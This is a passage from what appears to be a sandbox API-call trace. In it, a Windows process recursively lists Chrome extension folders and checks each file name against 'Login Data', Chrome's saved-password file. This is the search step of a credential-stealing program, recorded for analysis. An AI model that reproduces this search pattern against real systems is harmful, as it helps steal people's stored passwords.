returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr" [0079.355] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.355] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.355] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.355] LocalFree (hMem=0x6525c0) returned 0x0 [0079.355] LocalFree (hMem=0x6524b8) returned 0x0 [0079.355] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x6523b0 [0079.355] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0079.355] LocalAlloc (uFlags=0x40, uBytes=0xfe) returned 0x6524b8 [0079.355] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.355] LocalFree (hMem=0x6523b0) returned 0x0 [0079.355] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x6525c0 [0079.355] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk" [0079.356] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.356] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.356] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.356] LocalFree (hMem=0x6525c0) returned 0x0 [0079.356] LocalFree (hMem=0x6524b8) returned 0x0 [0079.356] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x6523b0 [0079.356] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0079.356] LocalAlloc (uFlags=0x40, uBytes=0xfe) returned 0x6524b8 [0079.356] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.356] LocalFree (hMem=0x6523b0) returned 0x0 [0079.356] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x6525c0 [0079.356] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi" [0079.356] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.356] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.356] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.356] LocalFree (hMem=0x6525c0) returned 0x0 [0079.357] LocalFree (hMem=0x6524b8) returned 0x0 [0079.357] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x6523b0 [0079.357] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0079.357] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6524b8 [0079.357] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.357] LocalFree (hMem=0x6523b0) returned 0x0 [0079.357] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x6525c8 [0079.357] lstrcpyA (in: lpString1=0x6525c8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN" [0079.357] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.357] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.357] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.357] LocalFree (hMem=0x6525c8) returned 0x0 [0079.357] LocalFree (hMem=0x6524b8) returned 0x0 [0079.357] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x6523b0 [0079.357] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0079.357] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6524b8 [0079.357] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.357] LocalFree (hMem=0x6523b0) returned 0x0 [0079.357] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x6525c8 [0079.357] lstrcpyA (in: lpString1=0x6525c8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW" [0079.357] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.358] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.358] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.358] LocalFree (hMem=0x6525c8) returned 0x0 [0079.358] LocalFree (hMem=0x6524b8) returned 0x0 [0079.358] FindClose (in: hFindFile=0x6428e8 | out: hFindFile=0x6428e8) returned 1 [0079.358] LocalFree (hMem=0x6522a8) returned 0x0 [0079.358] LocalFree (hMem=0x650750) returned 0x0 [0079.358] LocalAlloc (uFlags=0x40, uBytes=0xf3) returned 0x650650 [0079.358] lstrcpyA (in: lpString1=0x650650, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0" [0079.358] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x650750 [0079.358] lstrcpyA (in: lpString1=0x650750, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\" [0079.358] LocalFree (hMem=0x650650) returned 0x0 [0079.358] LocalAlloc (uFlags=0x40, uBytes=0x100) returned 0x6522a8 [0079.358] lstrcpyA (in: lpString1=0x6522a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata" [0079.358] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\*.*", lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 0x6428e8 [0079.358] StrStrIA (lpFirst="verified_contents.json", lpSrch="Login Data") returned 0x0 [0079.358] FindClose (in: hFindFile=0x6428e8 | out: hFindFile=0x6428e8) returned 1 [0079.358] LocalFree (hMem=0x6522a8) returned 0x0 [0079.358] LocalFree (hMem=0x650750) returned 0x0 [0079.358] FindClose (in: hFindFile=0x6428a8 | out: hFindFile=0x6428a8) returned 1 [0079.359] LocalFree (hMem=0x650550) returned 0x0 [0079.359] LocalFree (hMem=0x650450) returned 0x0 [0079.359] LocalAlloc (uFlags=0x40, uBytes=0xec) returned 0x65e828 [0079.359] lstrcpyA (in: lpString1=0x65e828, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf" [0079.359] LocalAlloc (uFlags=0x40, uBytes=0xf1) returned 0x650450 [0079.359] lstrcpyA (in: lpString1=0x650450, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\" [0079.359] LocalFree (hMem=0x65e828) returned 0x0 [0079.359] LocalAlloc (uFlags=0x40, uBytes=0xf5) returned 0x650550 [0079.359] lstrcpyA (in: lpString1=0x650550, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0" [0079.359] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\*.*", lpFindFileData=0x12f646 | out: lpFindFileData=0x12f646) returned 0x6428a8 [0079.359] StrStrIA (lpFirst="128.png", lpSrch="Login Data") returned 0x0 [0079.359] StrStrIA (lpFirst="manifest.json", lpSrch="Login Data") returned 0x0 [0079.359] LocalAlloc (uFlags=0x40, uBytes=0xf2) returned 0x650650 [0079.359] lstrcpyA (in: lpString1=0x650650, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0" [0079.359] LocalAlloc (uFlags=0x40, uBytes=0xfa) returned 0x650750 [0079.359] lstrcpyA (in: lpString1=0x650750, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\" [0079.359] LocalFree (hMem=0x650650) returned 0x0 [0079.359] LocalAlloc (uFlags=0x40, uBytes=0xfe) returned 0x6522a8 [0079.359] lstrcpyA (in: lpString1=0x6522a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0079.359] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\*.*", lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 0x6428e8 [0079.360] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0079.360] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0079.360] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0079.360] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0079.360] LocalFree (hMem=0x6523b0) returned 0x0 [0079.360] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0079.360] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ar" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ar") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ar" [0079.361] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ar\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.361] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.361] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.361] LocalFree (hMem=0x6525c0) returned 0x0 [0079.361] LocalFree (hMem=0x6524b8) returned 0x0 [0079.361] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0079.361] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0079.361] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0079.361] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0079.361] LocalFree (hMem=0x6523b0) returned 0x0 [0079.361] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0079.361] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\bg" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\bg") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\bg" [0079.361] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\bg\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.361] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.361] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.361] LocalFree (hMem=0x6525c0) returned 0x0 [0079.361] LocalFree (hMem=0x6524b8) returned 0x0 [0079.361] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0079.362] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0079.362] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0079.362] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0079.362] LocalFree (hMem=0x6523b0) returned 0x0 [0079.362] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0079.362] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ca" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ca") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ca" [0079.362] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ca\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.362] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.362] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.363] LocalFree (hMem=0x6525c0) returned 0x0 [0079.363] LocalFree (hMem=0x6524b8) returned 0x0 [0079.363] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0079.363] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0079.363] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0079.363] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0079.364] LocalFree (hMem=0x6523b0) returned 0x0 [0079.364] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0079.364] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\cs" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\cs") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User 